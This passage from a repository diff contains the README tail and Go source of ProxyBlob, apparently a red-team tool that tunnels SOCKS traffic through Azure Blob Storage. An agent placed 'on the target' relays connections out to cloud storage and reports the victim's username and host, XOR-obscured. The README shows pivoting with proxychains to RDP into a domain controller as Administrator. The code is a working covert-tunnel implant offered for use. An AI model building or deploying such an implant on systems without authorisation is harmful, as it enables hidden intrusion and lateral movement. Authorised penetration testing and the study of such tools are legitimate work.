|
||||
- An Azure Storage Account
|
||||
|
||||
### Storage Account
|
||||
|
||||
#### Azure
|
||||
|
||||
In order to use ProxyBlob, you will need an Azure Subscription to create an Azure Storage Account. Once you have a subscription, you can create a storage account in the Azure Portal or using the Azure CLI.
|
||||
|
||||
Here are the steps to create a storage account using the Azure Portal:
|
||||
|
||||
1. Go to [https://portal.azure.com](https://portal.azure.com)
|
||||
2. Login with your Azure account
|
||||
3. In the top Search bar, type "Storage accounts"
|
||||
4. Click on "+ Create"
|
||||
5. Fill in the required fields
|
||||
6. Click on "Review + create"
|
||||
7. Click on "Create"
|
||||
|
||||
Storage account settings:
|
||||
|
||||
- **Subscription**: Select your Azure subscription
|
||||
- **Resource Group**: Create new Resource Group or select existing
|
||||
- **Storage account name**: Choose a name for your storage account
|
||||
- **Location**: Select a location near you
|
||||
- **Performance**: Premium ⚠️ we will require low latency and high throughput
|
||||
- **Premium account type**: Block blobs (high transaction rates)
|
||||
- **Redundancy**: Locally-redundant Storage (LRS)
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/create-storage-account.png" alt="Create Storage Account" width="600"/>
|
||||
</p>
|
||||
|
||||
|
||||
Once the deployment is complete, you will see the newly created storage account in the list.
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/list-storage-accounts.png" alt="List of Storage accounts" />
|
||||
</p>
|
||||
|
||||
Finally, click on "Security + networking" and then "Access keys" to get the storage account key.
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/access-keys.png" alt="Access Keys" />
|
||||
</p>
|
||||
|
||||
Here are the steps to create a storage account using the Azure CLI:
|
||||
|
||||
```bash
|
||||
# Login to Azure
|
||||
az login
|
||||
|
||||
# Create a resource group
|
||||
az group create --name "proxyblob-resource-group" --location "Central US"
|
||||
|
||||
# Create a storage account
|
||||
az storage account create --name "myproxyblob" --resource-group "proxyblob-resource-group" --location "Central US" --sku "Premium_LRS" --kind BlockBlobStorage
|
||||
|
||||
# Get the storage account key
|
||||
az storage account keys list --account-name "myproxyblob" --output table
|
||||
```
|
||||
|
||||
You should see displayed the storage account keys.
|
||||
|
||||
#### Azurite
|
||||
|
||||
If you want to test the tool, you can also use [Azurite] (https://github.com/Azure/Azurite), a lightweight server clone of Azure Storage that can be run locally. To install Azurite, I recommend using either [Visual Studio Code extension](https://marketplace.visualstudio.com/items?itemName=Azurite.azurite) or [Docker](https://hub.docker.com/r/microsoft/azure-storage-azurite).
|
||||
|
||||
For the extension, installation is straightforward:
|
||||
|
||||
1. Go to the Extensions tab
|
||||
2. Search for `Azurite.azurite`
|
||||
3. Click "Install"
|
||||
|
||||
You should see down right of your editor 3 buttons like this:
|
||||
|
||||
```
|
||||
[Azurite Table Service] [Azurie Queue Service] [Azurite Blob Service]
|
||||
```
|
||||
|
||||
Press on the `[Azurite Blob Service]` and the service should be running.
|
||||
|
||||
For Docker, you will have to pull the image and run it:
|
||||
|
||||
```
|
||||
docker pull mcr.microsoft.com/azure-storage/azurite
|
||||
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
|
||||
```
|
||||
|
||||
The default storage account name is `devstoreaccount1` and the account key is `Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==`.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Clone the repository
|
||||
git clone https://github.com/quarkslab/proxyblob
|
||||
cd proxyblob
|
||||
|
||||
# Build both components
|
||||
make
|
||||
```
|
||||
|
||||
This will produce the following binaries:
|
||||
|
||||
- `proxy` - the proxy server running on your machine
|
||||
- `agent` - the agent running on the target
|
||||
|
||||
## Configuration
|
||||
|
||||
Create a `config.json` file based on the [example](example_config.json) with your Azure Storage credentials:
|
||||
|
||||
```json
|
||||
{
|
||||
"storage_url": "http://localhost:10000/", // omit if using Azure
|
||||
"storage_account_name": "your-storage-account-name",
|
||||
"storage_account_key": "your-storage-account-key"
|
||||
}
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
### Starting the Proxy Server
|
||||
|
||||
```bash
|
||||
./proxy -c my-config.json # if omitted, config.json is used by default
|
||||
```
|
||||
|
||||
This will start an interactive CLI with the following commands:
|
||||
|
||||
```
|
||||
Commands:
|
||||
clear clear the screen
|
||||
create, new create a new agent container and generate its connection string
|
||||
delete, rm delete an existing agent container
|
||||
exit exit the shell
|
||||
help use 'help [command]' for command help
|
||||
list, ls list all existing agent containers
|
||||
select, use select an agent for subsequent commands
|
||||
start, proxy start SOCKS proxy server
|
||||
stop stop running proxy for the selected agent
|
||||
```
|
||||
|
||||
Once the proxy server is running, you can create a new agent container by using the `create` command.
|
||||
|
||||
```
|
||||
proxyblob » create
|
||||
16:28:37 INF Agent container created successfully container_id=5f5250e9-5518-4682-90ea-f61abf797654
|
||||
16:28:37 INF Connection string generated connection_string=aHR0cDovL2xvY2FsaG9zdDoxMDAwMC9kZXZzdG9yZWFjY291bnQxLzVmNTI1MGU5LTU1MTgtNDY4Mi05MGVhLWY2MWFiZjc5NzY1ND9zZT0yMDI1LTA0LTI0VDE0JTNBMjglM0EzN1omc2lnPXpjNUNVYVZKJTJGS1duY3RtbnlNZ0clMkZZNkNrRzZHYXJzMXRFTXkxR0ZiTVVZJTNEJnNwPXJ3JnNwcj1odHRwcyUyQ2h0dHAmc3I9YyZzdD0yMDI1LTA0LTE3VDE0JTNBMjMlM0EzN1omc3Y9MjAyMC0xMC0wMg
|
||||
```
|
||||
|
||||
Use the connection string generated with the agent (see below [Starting the Agent](#starting-the-agent)). If the agent connects successfully, you should see the “Agent Info” column filled in when you list the agents with the `list` command.
|
||||
|
||||
```
|
||||
proxyblob » list
|
||||
╭──────────────────────────────────────┬────────────┬────────────┬─────────────────────┬─────────────────────╮
|
||||
│ CONTAINER ID │ AGENT INFO │ PROXY PORT │ FIRST SEEN │ LAST SEEN │
|
||||
├──────────────────────────────────────┼────────────┼────────────┼─────────────────────┼─────────────────────┤
|
||||
│ 5f5250e9-5518-4682-90ea-f61abf797654 │ atsika@qb │ │ 2025-04-17 14:28:37 │ 2025-04-17 14:28:37 │
|
||||
╰──────────────────────────────────────┴────────────┴────────────┴─────────────────────┴─────────────────────╯
|
||||
```
|
||||
|
||||
Select the agent using `select <container id>` and start the proxy listener (by default it listens on localhost:1080) by using the `start` command.
|
||||
|
||||
```
|
||||
atsika@qb » select 5f5250e9-5518-4682-90ea-f61abf797654
|
||||
17:17:51 INF Agent selected agent=atsika@qb
|
||||
atsika@qb » start
|
||||
17:17:58 INF Proxy started successfully agent=atsika@qb port=1080
|
||||
```
|
||||
|
||||
You can now use for example [proxychains](https://github.com/rofl0r/proxychains-ng) to tunnel the traffic through the SOCKS proxy.
|
||||
|
||||
```bash
|
||||
proxychains xfreerdp /v:dc01.domain.local /u:Administrator
|
||||
```
|
||||
|
||||
### Starting the Agent
|
||||
|
||||
In order to run, the agent requires a connection string that can be generated using the proxy. You can pass it as an argument or directly embed it at compile-time.
|
||||
|
||||
```bash
|
||||
# Via argument
|
||||
./agent -c <generated-connection-string>
|
||||
|
||||
# Build the agent with embedded connection string
|
||||
make agent TOKEN=<generated-connection-string>
|
||||
./agent
|
||||
```
|
||||
|
||||
## Architecture
|
||||
|
||||
The communication flow works like this:
|
||||
|
||||
1. The agent periodically polls an Azure Blob container for encoded packets in a request blob
|
||||
2. The proxy writes encoded packets to the Azure Blob container in a request blob
|
||||
3. When the agent finds a packet, it processes it and writes the response back to a response blob
|
||||
4. The proxy reads the response and maintains the SOCKS connection with client applications
|
||||
|
||||
The global flow is the following:
|
||||
|
||||
```mermaid
|
||||
graph TB
|
||||
%% Client applications
|
||||
Client1[Client Application] -->|SOCKS5 Request| SocksServer
|
||||
Client2[Web Browser] -->|SOCKS5 Request| SocksServer
|
||||
|
||||
%% Proxy Server Components
|
||||
subgraph "Proxy Server (Local Machine)"
|
||||
SocksServer[SOCKS5 Server]
|
||||
CLI[Interactive CLI]
|
||||
ProxyHandler[Proxy Handler]
|
||||
TransportP[Blob Transport]
|
||||
end
|
||||
|
||||
%% Connection between components
|
||||
CLI -->|Commands| SocksServer
|
||||
SocksServer -->|Process Request| ProxyHandler
|
||||
ProxyHandler -->|Encode Packets| TransportP
|
||||
TransportP -->|Receive Responses| ProxyHandler
|
||||
ProxyHandler -->|Return Data| SocksServer
|
||||
|
||||
%% Azure Blob Storage
|
||||
subgraph "Azure Blob Storage"
|
||||
RequestBlob[Request Blob]
|
||||
ResponseBlob[Response Blob]
|
||||
end
|
||||
|
||||
%% Connection to Azure
|
||||
TransportP -->|Write| RequestBlob
|
||||
ResponseBlob -->|Read| TransportP
|
||||
|
||||
%% Agent Components
|
||||
subgraph "Agent (Target Network)"
|
||||
AgentPoller[Polling Component]
|
||||
TransportA[Blob Transport]
|
||||
SocksHandler[SOCKS Handler]
|
||||
CommandProcessor[Command Processor]
|
||||
end
|
||||
|
||||
%% Agent connections
|
||||
RequestBlob -->|Poll| AgentPoller
|
||||
AgentPoller -->|Process| TransportA
|
||||
TransportA -->|Decode Packets| SocksHandler
|
||||
SocksHandler -->|Process Commands| CommandProcessor
|
||||
|
||||
%% Command Processing - Fixed syntax
|
||||
subgraph "Command Processing"
|
||||
Connect["CONNECT"]
|
||||
Bind["TODO: BIND"]
|
||||
UDP["UDP ASSOCIATE"]
|
||||
end
|
||||
|
||||
CommandProcessor -->|Route| Connect
|
||||
CommandProcessor -->|Route| Bind
|
||||
CommandProcessor -->|Route| UDP
|
||||
|
||||
%% Target Connections
|
||||
Connect -->|TCP Connection| TargetServer1[Target Server]
|
||||
UDP -->|UDP Connection| TargetServer2[Target Server]
|
||||
|
||||
%% Return path
|
||||
TargetServer1 -->|Response Data| SocksHandler
|
||||
TargetServer2 -->|UDP Data| SocksHandler
|
||||
SocksHandler -->|Encode Response| TransportA
|
||||
TransportA -->|Write| ResponseBlob
|
||||
```
|
||||
|
||||
An example of a CONNECT operation is the following:
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant Client as Client Application
|
||||
participant Proxy as Proxy Server
|
||||
participant AzureStor as Azure Blob Storage
|
||||
participant Agent as Agent
|
||||
participant Target as Target Server
|
||||
|
||||
Note over Client,Target: SOCKS5 Protocol Flow
|
||||
|
||||
%% Proxy Server and Agent Initialization
|
||||
Proxy->>AzureStor: Initialize connection
|
||||
Agent->>AzureStor: Start polling for requests
|
||||
|
||||
%% Client Connection and Authentication
|
||||
Client->>Proxy: TCP Connection
|
||||
Proxy->>Client: Auth methods (NoAuth supported)
|
||||
Client->>Proxy: Select Auth method
|
||||
|
||||
%% Command Processing
|
||||
Client->>Proxy: CONNECT command + target address
|
||||
Proxy->>AzureStor: Write CONNECT request packet to Request Blob
|
||||
Agent->>AzureStor: Poll and retrieve CONNECT request
|
||||
|
||||
%% Target Connection
|
||||
Agent->>Target: Establish TCP connection
|
||||
Target->>Agent: Connection established
|
||||
Agent->>AzureStor: Write connection success to Response Blob
|
||||
Proxy->>AzureStor: Poll and retrieve response
|
||||
Proxy->>Client: CONNECT success response
|
||||
|
||||
%% Data Transfer (Bidirectional)
|
||||
Client->>Proxy: Send data
|
||||
Proxy->>AzureStor: Write data packet to Request Blob
|
||||
Agent->>AzureStor: Poll and retrieve data packet
|
||||
Agent->>Target: Forward data
|
||||
|
||||
Target->>Agent: Response data
|
||||
Agent->>AzureStor: Write response data to Response Blob
|
||||
Proxy->>AzureStor: Poll and retrieve response data
|
||||
Proxy->>Client: Forward response data
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
**Why does my agent immediately stop running ?**
|
||||
|
||||
There might be several reasons why your agent stops immediately after you run it. Check its exit code:
|
||||
```sh
|
||||
# Bash
|
||||
echo $?
|
||||
```
|
||||
```cmd
|
||||
REM CMD
|
||||
echo %ERRORLEVEL%
|
||||
```
|
||||
```pwsh
|
||||
# PowerShell
|
||||
echo $LastExitCode
|
||||
```
|
||||
|
||||
Each exit code describes why the agent stopped running:
|
||||
|
||||
| Exit code | Reason |
|
||||
| --------- | ------------------------------------------- |
|
||||
| 0 | No error |
|
||||
| 1 | The context has been canceled |
|
||||
| 2 | The connection string is missing |
|
||||
| 3 | The connection string is invalid or expired |
|
||||
| 4 | The agent failed to write its metadata |
|
||||
| 5 | The agent container is not found |
|
||||
|
||||
If you encounter issues:
|
||||
|
||||
1. Check Azure credentials and permissions
|
||||
2. Verify connectivity to Azure Blob Storage
|
||||
3. Check for any firewall rules blocking outbound connections
|
||||
4. Ensure the agent is running and properly connected
|
||||
|
||||
## TODO
|
||||
|
||||
- BIND command implementation (currently not working)
|
||||
- Enhanced error handling and recovery
|
||||
- Improve proxy speed
|
||||
|
||||
## License
|
||||
|
||||
[GNU GPLv3 License](LICENSE)
|
||||
@@ -0,0 +1,283 @@
|
||||
// Package main implements the SOCKS proxy agent.
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/signal"
|
||||
"os/user"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/Azure/azure-storage-blob-go/azblob"
|
||||
"github.com/rs/zerolog"
|
||||
"github.com/rs/zerolog/log"
|
||||
|
||||
"proxyblob/pkg/protocol"
|
||||
proxy "proxyblob/pkg/proxy/socks"
|
||||
"proxyblob/pkg/transport"
|
||||
)
|
||||
|
||||
// Exit codes.
|
||||
const (
|
||||
Success = 0 // success
|
||||
ErrContextCanceled = 1 // context canceled
|
||||
ErrNoConnectionString = 2 // missing connection string
|
||||
ErrConnectionStringError = 3 // invalid connection string
|
||||
ErrInfoBlobError = 4 // info blob write failed
|
||||
ErrContainerNotFound = 5 // container not found
|
||||
)
|
||||
|
||||
// ConnString holds the Azure connection string.
|
||||
// Can be set at compile time or via command line flag.
|
||||
var ConnString string
|
||||
|
||||
// Blob names for proxy-agent communication.
|
||||
const (
|
||||
InfoBlobName = "info" // agent metadata
|
||||
RequestBlobName = "request" // proxy-to-agent traffic
|
||||
ResponseBlobName = "response" // agent-to-proxy traffic
|
||||
)
|
||||
|
||||
// InfoKey defines the XOR encryption key for agent information
|
||||
// Security Note: Changing this key requires synchronized updates on both proxy and agent
|
||||
var (
|
||||
InfoKey = []byte{0xDE, 0xAD, 0xB1, 0x0B}
|
||||
)
|
||||
|
||||
// Agent manages proxy operations and blob storage communication.
|
||||
type Agent struct {
|
||||
ContainerURL azblob.ContainerURL // Azure container access
|
||||
Handler *proxy.SocksHandler // SOCKS handler
|
||||
}
|
||||
|
||||
// NewAgent creates an agent from a connection string.
|
||||
func NewAgent(ctx context.Context, connString string) (*Agent, int) {
|
||||
storageURL, containerID, sasToken, errCode := ParseConnectionString(connString)
|
||||
if errCode != Success {
|
||||
return nil, errCode
|
||||
}
|
||||
|
||||
pipeline := azblob.NewPipeline(
|
||||
azblob.NewAnonymousCredential(),
|
||||
azblob.PipelineOptions{},
|
||||
)
|
||||
|
||||
fullURL := fmt.Sprintf("%s/%s?%s", storageURL, containerID, sasToken)
|
||||
containerURL, err := url.Parse(fullURL)
|
||||
if err != nil {
|
||||
return nil, ErrConnectionStringError
|
||||
}
|
||||
|
||||
container := azblob.NewContainerURL(*containerURL, pipeline)
|
||||
blobTransport := transport.NewBlobTransport(
|
||||
container.NewBlockBlobURL(RequestBlobName), // read
|
||||
container.NewBlockBlobURL(ResponseBlobName), // write
|
||||
)
|
||||
handler := proxy.NewSocksHandler(ctx, blobTransport)
|
||||
|
||||
agent := &Agent{
|
||||
ContainerURL: container,
|
||||
Handler: handler,
|
||||
}
|
||||
|
||||
return agent, Success
|
||||
}
|
||||
|
||||
// Start begins processing proxy requests.
|
||||
func (a *Agent) Start(ctx context.Context) int {
|
||||
// Push agent information to blob storage
|
||||
if err := a.WriteInfoBlob(ctx); err != Success {
|
||||
a.Stop()
|
||||
return ErrContainerNotFound
|
||||
}
|
||||
|
||||
// Start the container monitoring goroutine
|
||||
go a.healthCheck(ctx)
|
||||
|
||||
// Start the handler
|
||||
a.Handler.Start("")
|
||||
|
||||
// Wait for handler context to be done
|
||||
<-a.Handler.Ctx.Done()
|
||||
|
||||
// Check if context was canceled externally
|
||||
if errors.Is(ctx.Err(), context.Canceled) {
|
||||
return ErrContextCanceled
|
||||
}
|
||||
|
||||
return Success
|
||||
}
|
||||
|
||||
// Stop terminates agent operations.
|
||||
func (a *Agent) Stop() {
|
||||
a.Handler.Stop()
|
||||
}
|
||||
|
||||
// healthCheck verifies container existence every 30s and stops the agent if it's unavailable.
|
||||
func (a *Agent) healthCheck(ctx context.Context) {
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
blobURL := a.ContainerURL.NewBlockBlobURL(InfoBlobName)
|
||||
_, err := blobURL.GetProperties(ctx, azblob.BlobAccessConditions{}, azblob.ClientProvidedKeyOptions{})
|
||||
if err != nil {
|
||||
if storageErr, ok := err.(azblob.StorageError); ok {
|
||||
if storageErr.ServiceCode() == azblob.ServiceCodeContainerNotFound ||
|
||||
storageErr.ServiceCode() == azblob.ServiceCodeContainerBeingDeleted {
|
||||
a.Stop()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WriteInfoBlob updates agent metadata.
|
||||
func (a *Agent) WriteInfoBlob(ctx context.Context) int {
|
||||
info := GetCurrentInfo()
|
||||
encryptedInfo := protocol.Xor([]byte(info), InfoKey)
|
||||
|
||||
blobURL := a.ContainerURL.NewBlockBlobURL(InfoBlobName)
|
||||
_, err := blobURL.Upload(
|
||||
ctx,
|
||||
bytes.NewReader(encryptedInfo),
|
||||
azblob.BlobHTTPHeaders{ContentType: "text/plain"},
|
||||
azblob.Metadata{},
|
||||
azblob.BlobAccessConditions{},
|
||||
azblob.DefaultAccessTier,
|
||||
nil,
|
||||
azblob.ClientProvidedKeyOptions{},
|
||||
azblob.ImmutabilityPolicyOptions{},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// Check for context cancellation first
|
||||
if errors.Is(ctx.Err(), context.Canceled) {
|
||||
return ErrContextCanceled
|
||||
}
|
||||
|
||||
// Check for container deletion
|
||||
if storageErr, ok := err.(azblob.StorageError); ok {
|
||||
if storageErr.ServiceCode() == azblob.ServiceCodeContainerNotFound ||
|
||||
storageErr.ServiceCode() == azblob.ServiceCodeContainerBeingDeleted {
|
||||
return ErrContainerNotFound
|
||||
}
|
||||
// Other storage errors
|
||||
return ErrInfoBlobError
|
||||
}
|
||||
|
||||
return ErrInfoBlobError
|
||||
}
|
||||
|
||||
return Success
|
||||
}
|
||||
|
||||
// ParseConnectionString extracts storage URL, container ID and SAS token from a connection string.
|
||||
func ParseConnectionString(connString string) (string, string, string, int) {
|
||||
// Check for empty string first
|
||||
if connString == "" {
|
||||
return "", "", "", ErrNoConnectionString
|
||||
}
|
||||
|
||||
// Try to decode the base64 encoded string
|
||||
decoded, err := base64.RawStdEncoding.DecodeString(connString)
|
||||
if err != nil {
|
||||
return "", "", "", ErrConnectionStringError
|
||||
}
|
||||
|
||||
// Parse the URL and extract components
|
||||
u, err := url.Parse(string(decoded))
|
||||
if err != nil {
|
||||
return "", "", "", ErrConnectionStringError
|
||||
}
|
||||
|
||||
// Extract path components and query string
|
||||
path := strings.TrimPrefix(u.Path, "/")
|
||||
if path == "" {
|
||||
return "", "", "", ErrConnectionStringError
|
||||
}
|
||||
|
||||
if u.RawQuery == "" {
|
||||
return "", "", "", ErrConnectionStringError
|
||||
}
|
||||
|
||||
// Return the storage URL, container ID and SAS token
|
||||
storageURL := fmt.Sprintf("%s://%s", u.Scheme, u.Host)
|
||||
return storageURL, path, u.RawQuery, Success
|
||||
}
|
||||
|
||||
// GetCurrentInfo returns username@hostname.
|
||||
func GetCurrentInfo() string {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
hostname = "unknown"
|
||||
}
|
||||
|
||||
currentUser, err := user.Current()
|
||||
if err != nil {
|
||||
currentUser = &user.User{
|
||||
Username: "unknown",
|
||||
}
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s@%s", currentUser.Username, hostname)
|
||||
}
|
||||
|
||||
// init configures logging with zerolog
|
||||
// Sets up console output and INFO level logging
|
||||
func init() {
|
||||
// Configure logging
|
||||
zerolog.TimeFieldFormat = zerolog.TimeFormatUnix
|
||||
zerolog.SetGlobalLevel(zerolog.InfoLevel)
|
||||
|
||||
// Use a more human-friendly output for console
|
||||
log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr})
|
||||
}
|
||||
|
||||
// main is the entry point for the agent process
|
||||
// Handles command-line flags, signal management, and agent lifecycle
|
||||
func main() {
|
||||
// Parse command line flags
|
||||
flag.StringVar(&ConnString, "c", ConnString, "Connection string")
|
||||
flag.Parse()
|
||||
|
||||
if ConnString == "" {
|
||||
os.Exit(ErrNoConnectionString)
|
||||
}
|
||||
|
||||
// Create context that can be cancelled with CTRL+C
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
// Handle SIGINT (CTRL+C) and SIGTERM
|
||||
sig := make(chan os.Signal, 1)
|
||||
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
|
||||
go func() {
|
||||
<-sig
|
||||
cancel()
|
||||
}()
|
||||
|
||||
// Create the agent
|
||||
agent, err := NewAgent(ctx, ConnString)
|
||||
if err != Success {
|
||||
os.Exit(err)
|
||||
}
|
||||
|
||||
// Start the agent
|
||||
ErrCode := agent.Start(ctx)
|
||||
os.Exit(ErrCode)
|
||||
}
|
||||
@@ -0,0 +1,782 @@
|
||||
// Package main implements the SOCKS proxy server.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Azure/azure-storage-blob-go/azblob"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jedib0t/go-pretty/table"
|
||||
"github.com/rs/zerolog"
|
||||
"github.com/rs/zerolog/log"
|
||||
|
||||
"proxyblob/pkg/protocol"
|
||||
proxy "proxyblob/pkg/proxy/server"
|
||||
"proxyblob/pkg/transport"
|
||||
)
|
||||
|
||||
// CLI banner with version.
|
||||
const banner = `
|
||||
____ ____ _ _
|
||||
| _ \ _ __ _____ ___ _| __ )| | ___ | |__
|
||||
| |_) | '__/ _ \ \/ / | | | _ \| |/ _ \| '_ \
|
||||
| __/| | | (_) > <| |_| | |_) | | (_) | |_) |
|
||||
|_| |_| \___/_/\_\\__, |____/|_|\___/|_.__/
|
||||
|___/
|
||||
|
||||
SOCKS Proxy over Azure Blob Storage (v1.0)
|
||||
------------------------------------------
|
||||
|
||||
`
|
||||
|
||||
// Blob names for proxy-agent communication.
|
||||
const (
|
||||
InfoBlobName = "info" // agent metadata
|
||||
RequestBlobName = "request" // proxy-to-agent traffic
|
||||
ResponseBlobName = "response" // agent-to-proxy traffic
|
||||
)
|
||||
|
||||
// InfoKey defines the XOR encryption key for agent information
|
||||
// Security Note: Changing this key requires synchronized updates on both proxy and agent
|
||||
var (
|
||||
InfoKey = []byte{0xDE, 0xAD, 0xB1, 0x0B}
|
||||
)
|
||||
|
||||
// Config holds Azure Storage credentials.
|
||||
type Config struct {
|
||||
StorageAccountName string `json:"storage_account_name"` // account ID
|
||||
StorageAccountKey string `json:"storage_account_key"` // access key
|
||||
StorageURL string `json:"storage_url,omitempty"` // custom endpoint (for development purposes)
|
||||
}
|
||||
|
||||
// StorageManager handles Azure Storage operations.
|
||||
type StorageManager struct {
|
||||
ServiceURL *azblob.ServiceURL // storage endpoint
|
||||
SharedKeyCredential *azblob.SharedKeyCredential // auth credentials
|
||||
}
|
||||
|
||||
// ContainerInfo tracks proxy agent metadata.
|
||||
type ContainerInfo struct {
|
||||
ID string // container ID
|
||||
AgentInfo string // username@hostname
|
||||
ProxyPort string // SOCKS port
|
||||
CreatedAt time.Time // creation time
|
||||
LastActivity time.Time // last operation
|
||||
}
|
||||
|
||||
// Global state.
|
||||
var (
|
||||
config *Config // app config
|
||||
storageManager *StorageManager // storage access
|
||||
selectedAgent string // current agent
|
||||
runningProxies sync.Map // active proxies
|
||||
)
|
||||
|
||||
// LoadConfig reads and parses config file.
|
||||
func LoadConfig(configPath string) (*Config, error) {
|
||||
// Use default config path (./config.json) if none provided
|
||||
if configPath == "" {
|
||||
configPath = "./config.json"
|
||||
}
|
||||
|
||||
// Get absolute path for clearer error messages
|
||||
absPath, err := filepath.Abs(configPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to resolve config path: %v", err)
|
||||
}
|
||||
|
||||
// Check if config file exists
|
||||
if _, err := os.Stat(absPath); os.IsNotExist(err) {
|
||||
return nil, fmt.Errorf("configuration file not found at %s", absPath)
|
||||
}
|
||||
|
||||
// Read and parse the configuration file
|
||||
data, err := os.ReadFile(absPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read config file %s: %v", absPath, err)
|
||||
}
|
||||
|
||||
config := new(Config)
|
||||
if err := json.Unmarshal(data, config); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse config file %s: %v", absPath, err)
|
||||
}
|
||||
|
||||
// Validate configuration
|
||||
if err := config.Validate(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return config, nil
|
||||
}
|
||||
|
||||
// Validate checks required config fields.
|
||||
func (config *Config) Validate() error {
|
||||
if config.StorageAccountName == "" {
|
||||
return fmt.Errorf("storage_account_name is required")
|
||||
}
|
||||
if config.StorageAccountKey == "" {
|
||||
return fmt.Errorf("storage_account_key is required")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewStorageManager creates Azure Storage client.
|
||||
func NewStorageManager(config *Config) (*StorageManager, error) {
|
||||
// Create credentials using the storage account name and key
|
||||
credential, err := azblob.NewSharedKeyCredential(
|
||||
config.StorageAccountName,
|
||||
config.StorageAccountKey,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create storage credentials: %v", err)
|
||||
}
|
||||
|
||||
// Create a pipeline for storage operations
|
||||
pipeline := azblob.NewPipeline(
|
||||
credential,
|
||||
azblob.PipelineOptions{},
|
||||
)
|
||||
|
||||
// Build the service URL for the storage account
|
||||
var serviceURL *url.URL
|
||||
if config.StorageURL != "" {
|
||||
// Use the custom storage URL provided in the config (for Azurite support)
|
||||
serviceURL, err = url.Parse(config.StorageURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse storage URL: %v", err)
|
||||
}
|
||||
serviceURL = serviceURL.JoinPath(config.StorageAccountName)
|
||||
} else {
|
||||
// Use the default Azure Storage URL format
|
||||
serviceURL, err = url.Parse(fmt.Sprintf("https://%s.blob.core.windows.net/", config.StorageAccountName))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse service URL: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
service := azblob.NewServiceURL(*serviceURL, pipeline)
|
||||
|
||||
return &StorageManager{
|
||||
ServiceURL: &service,
|
||||
SharedKeyCredential: credential,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// CreateAgentContainer creates a new container for agent communication.
|
||||
// Returns the container ID and connection string that should be provided to the agent.
|
||||
func (sm *StorageManager) CreateAgentContainer(expiry time.Duration) (string, string, error) {
|
||||
// Generate a unique ID for the container
|
||||
containerID := uuid.New().String()
|
||||
containerURL := sm.ServiceURL.NewContainerURL(containerID)
|
||||
|
||||
ctx := context.Background()
|
||||
|
||||
// Create the container with private access level
|
||||
_, err := containerURL.Create(ctx, azblob.Metadata{}, azblob.PublicAccessNone)
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("failed to create container: %v", err)
|
||||
}
|
||||
|
||||
// Initialize the required blobs
|
||||
blobNames := []string{InfoBlobName, RequestBlobName, ResponseBlobName}
|
||||
for _, blobName := range blobNames {
|
||||
blobURL := containerURL.NewBlockBlobURL(blobName)
|
||||
|
||||
// Create an empty blob - it will be populated later by the agent or proxy
|
||||
_, err := blobURL.Upload(
|
||||
ctx,
|
||||
strings.NewReader(""), // Empty content initially
|
||||
azblob.BlobHTTPHeaders{
|
||||
ContentType: "application/octet-stream",
|
||||
},
|
||||
azblob.Metadata{
|
||||
"created": time.Now().UTC().Format(time.RFC3339),
|
||||
},
|
||||
azblob.BlobAccessConditions{},
|
||||
azblob.DefaultAccessTier,
|
||||
azblob.BlobTagsMap{}, // No initial tags
|
||||
azblob.ClientProvidedKeyOptions{}, // No client-provided encryption
|
||||
azblob.ImmutabilityPolicyOptions{}, // No immutability policy
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// If blob creation fails, attempt to clean up the container
|
||||
if _, delErr := containerURL.Delete(ctx, azblob.ContainerAccessConditions{}); delErr != nil {
|
||||
return "", "", fmt.Errorf("failed to delete container after blob creation failed: %v", delErr)
|
||||
}
|
||||
return "", "", fmt.Errorf("failed to create %s blob: %v", blobName, err)
|
||||
}
|
||||
}
|
||||
|
||||
// Generate a SAS token for the container
|
||||
sasToken, err := sm.GenerateSASToken(containerID, expiry)
|
||||
if err != nil {
|
||||
// If SAS token generation fails, clean up the container
|
||||
if _, delErr := containerURL.Delete(ctx, azblob.ContainerAccessConditions{}); delErr != nil {
|
||||
